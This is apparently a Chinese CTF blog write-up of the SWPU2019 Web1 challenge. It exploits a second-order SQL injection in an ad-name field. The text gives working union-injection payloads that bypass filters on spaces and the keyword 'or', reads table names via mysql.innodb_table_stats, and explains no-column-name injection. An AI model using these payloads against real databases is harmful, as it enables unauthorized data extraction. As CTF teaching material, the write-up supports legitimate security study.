[SWPU2019]Web1 -wp

在这里插入图片描述打开页面是一个登入框,考点并不在这里,随意注册一个非admin账号登入
在这里插入图片描述
点击广告详细,在广告名处会引发二次注入
在这里插入图片描述
进过一番尝试,发现过滤#等注释符,空格,or,extractvalue,updatexml也被过滤,无法使用报错注入。(fuzz的时候发现他申请的条数会有限制,只能手工试)
使用/**/代替空格使用联合注入
在这里插入图片描述

先确定列数,无法使用order by 只能手工一个个试,发现有22列。显示位在2,3处
在这里插入图片描述数据库名可以直接查询
在这里插入图片描述
查表名时由于过滤or,所以information_schema无法使用。
但Mysql5.6及以上版本中 innodb_index_statsinnodb_table_stats这两个表中都包含所有新创建的数据库和表名

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述
到目前为止,只知道表名,无法查询列名
那么这里需要使用无列名注入

无列名注入可参考https://zhuanlan.zhihu.com/p/98206699?utm_source=wechat_session

select 1,2 as bb,3 as aa union select * from users
这条语句能把users表里3处的列名在查询是临时变成aa
因此不需要知道具体的列名,就可以查询(其实就类似于帮列名换个自定义的临时名字,可以通过这个临时的名字查询内容

select aa from (select 1,2,3 as aa union select * from users)a;
//末尾的 a 可以是任意字符,用于命名。

这里的1,2,3分别对应着users表里的三列,这跟最开始判断列数一样,需要手工一个个去判段,题目中为3列。

-1'union/**/select/**/1,(select/**/group_concat(aa)/**/from/**/(select/**/1,2,3/**/as/**/aa/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值